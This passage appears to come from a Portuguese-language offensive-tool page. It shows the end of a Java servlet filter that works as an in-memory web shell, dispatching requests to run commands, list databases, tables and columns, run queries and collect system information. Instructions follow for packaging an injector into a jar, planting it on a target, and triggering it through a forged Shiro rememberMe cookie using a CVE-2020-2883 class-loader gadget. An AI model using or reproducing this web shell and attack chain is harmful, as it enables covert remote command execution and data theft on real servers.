                sb.append(ExecuteCommandCode(pars[1], pars[2]));
            } else if (funccode.equals("N")) {
                sb.append(showDatabases(pars[0], pars[1]));
            } else if (funccode.equals("O")) {
                sb.append(showTables(pars[0], pars[1], pars[2]));
            } else if (funccode.equals("P")) {
                sb.append(showColumns(pars[0], pars[1], pars[2], pars[3]));
            } else if (funccode.equals("Q")) {
                sb.append(query(pars[0], pars[1], pars[2]));
            } else if (funccode.equals("A")) {
                sb.append(SysInfoCode(request));
            }
        } catch (Exception e) {
            sb.append("ERROR" + "://" + e.toString());
            e.printStackTrace();
        }
        sb.append("|<-");
        response.getWriter().print(sb.toString());
    } else {
        chain.doFilter(request, response);
    }
}

public void destroy() {
}

}

root@kitploit:~
Agora você pode atacar diretamente. Primeiro, empacote org.chabug.memshell.InjectFilterShell em um jar.```bash
jar cvf tttt.jar org\chabug\memshell\InjectFilterShell.class

image-20200825105630712

Em seguida, escreva tttt.jar e AntSwordFilterShell.class no destino. Finalmente, use CVE_2020_2883_URLClassLoader para gerar o cookie rememberMe e atacar o destino.

URLClassLoader -> tttt.jar -> InjectFilterShell static -> defineClass byte -> AntSwordFilterShell

Demonstração: